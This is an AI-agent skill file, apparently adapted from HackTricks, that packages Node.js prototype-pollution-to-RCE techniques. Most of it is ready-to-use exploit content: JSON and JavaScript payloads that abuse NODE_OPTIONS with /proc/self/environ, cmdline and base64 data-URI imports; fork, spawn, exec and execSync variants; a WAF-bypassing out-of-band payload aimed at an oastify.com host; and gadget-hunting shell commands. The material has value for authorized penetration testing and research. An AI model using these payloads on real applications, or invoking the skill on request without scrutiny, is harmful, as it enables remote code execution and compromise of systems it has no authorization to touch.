Hacktricks-skills nodejs-prototype-pollution-rce

Generate and test Node.js prototype pollution to RCE payloads. Use this skill whenever the user mentions prototype pollution, Node.js security testing, child_process exploitation, PP2RCE, or needs to convert prototype pollution into remote code execution. This skill provides payloads for fork, spawn, exec, and other child_process functions, plus techniques for forcing spawn when not present.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce/SKILL.MD
source content

Node.js Prototype Pollution to RCE

A skill for generating and testing prototype pollution to remote code execution (PP2RCE) payloads in Node.js applications.

When to Use This Skill

Use this skill when:

  • You've identified a prototype pollution vulnerability in a Node.js application
  • You need to escalate prototype pollution to RCE
  • You're testing Node.js applications for child_process exploitation
  • You need payloads for specific child_process functions (fork, spawn, exec, etc.)
  • You're working with Node.js versions 18-22 and need version-specific payloads

Quick Start

1. Identify the Sink

First, determine which

child_process
function is being called in the vulnerable code:

// Common sinks to look for:
const { fork, spawn, exec, execFile, execSync, spawnSync, execFileSync } = require("child_process")

2. Select the Appropriate Payload

Choose a payload based on the sink and Node.js version. See the payload sections below.

3. Test the Payload

Use the

generate-payload.js
script to create test payloads:

node scripts/generate-payload.js --sink fork --node-version 18 --output test.json

Payload Categories

Environment Variable Injection (fork)

Best for:

fork()
calls, Node.js 18+

// Manual pollution
b = {}
b.__proto__.env = {
  EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger
fork("./a_file.js")

JSON payload:

{
  "__proto__": {
    "NODE_OPTIONS": "--require /proc/self/environ",
    "env": {
      "EVIL": "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"
    }
  }
}

Command Line Injection (cmdline)

Best for: Most child_process functions, works after kEmptyObject fix

// Manual pollution
b = {}
b.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger
fork("./a_file.js")

JSON payload:

{
  "__proto__": {
    "NODE_OPTIONS": "--require /proc/self/cmdline",
    "argv0": "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"
  }
}

Filesystem-less Attack (Node.js 19+)

Best for: Read-only environments, ESM-only apps, Node.js 19-22

// Base64-encoded payload
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;

// Manual pollution
b = {}
b.__proto__.NODE_OPTIONS = `--import ${payload}`;

// Trigger
fork("./a_file.js");

JSON payload:

{
  "__proto__": {
    "NODE_OPTIONS": "--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"
  }
}

DNS Interaction (Out-of-Band Detection)

Best for: Confirming exploitation when file creation isn't visible

{
  "__proto__": {
    "argv0": "node",
    "shell": "node",
    "NODE_OPTIONS": "--inspect=id.oastify.com"
  }
}

WAF-bypass variant:

{
  "__proto__": {
    "argv0": "node",
    "shell": "node",
    "NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
  }
}

Function-Specific Payloads

fork()

All techniques work:

  • environ trick: ✅ Working
  • cmdline trick: ✅ Working
  • execArgv trick: ✅ Unique to fork
// execArgv variant (fork only)
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]

spawn()

Note: Requires

cwd
option after kEmptyObject fix (Node.js 18.4.0+)

// With cwd option
spawn("something", [], {"cwd": "/tmp"});

// Pollution
p = {}
p.__proto__.argv0 = "/proc/self/exe"
p.__proto__.shell = "/proc/self/exe"
p.__proto__.env = {
  EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

exec()

// cmdline trick
p = {}
p.__proto__.shell = "/proc/self/exe"
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

execFile()

Requirement: Must execute Node.js for NODE_OPTIONS to work

execFile("/usr/bin/node")

// Pollution
p = {}
p.__proto__.shell = "/proc/self/exe"
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

execSync() / spawnSync() / execFileSync()

All support stdin trick:

// stdin trick
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execSync-stdin}\n"

Forcing Spawn When Not Present

If the vulnerable code doesn't call child_process functions, you need to force a spawn.

Technique 1: Control require Path

Find a

.js
file that calls child_process when imported:

find / -name "*.js" -type f -exec grep -l "child_process" {} \\; 2>/dev/null | while read file_path; do
    grep --with-filename -nE "^[a-zA-Z].*(exec\\(|execFile\\(|fork\\(|spawn\\(|execFileSync\\(|execSync\\(|spawnSync\\()" "$file_path" | grep -v "require(" | grep -v "function "
done

Common files:

  • /path/to/npm/scripts/changelog.js
  • /opt/yarn-v1.22.19/preinstall.js
  • node_modules/buffer/bin/test.js
  • node_modules/detect-libc/bin/detect-libc.js

Technique 2: Pollute require Resolution

Absolute require (no main in package.json):

{
  "__proto__": {
    "main": "/tmp/malicious.js",
    "NODE_OPTIONS": "--require /proc/self/cmdline",
    "argv0": "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"
  }
}

Relative require:

{
  "__proto__": {
    "exports": {".": "./malicious.js"},
    "1": "/tmp",
    "NODE_OPTIONS": "--require /proc/self/cmdline",
    "argv0": "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"
  }
}

Version Compatibility

Node.js Versionenviron trickcmdline trick--importkEmptyObject fix
< 18.4.0
18.4.0 - 18.x⚠️ (needs cwd)
19.x - 20.x⚠️ (needs cwd)
21.x - 22.x⚠️ (needs cwd)

Notes:

  • --import
    with data-URIs works in Node.js 19+ (confirmed in 22.2.0)
  • kEmptyObject fix (Node.js 18.4.0+) requires
    cwd
    option for spawn/spawnSync
  • CopyOptions() in Node.js 20+ blocks nested object pollution but not NODE_OPTIONS

Testing Workflow

  1. Confirm prototype pollution:

    // Test if pollution works
    console.log(Object.prototype.polluted === "test");
    
  2. Identify the sink: Look for child_process usage

  3. Generate payload: Use the script or select from above

  4. Test with DNS first: Use OOB detection before file creation

  5. Escalate to RCE: Use file creation or command execution

Security Notes

  • These techniques are for authorized security testing only
  • Node.js 20+ has improved protections but NODE_OPTIONS tricks still work
  • The
    --import
    flag is being tracked for future restrictions (Node Issue #50559)
  • Always verify you have authorization before testing

References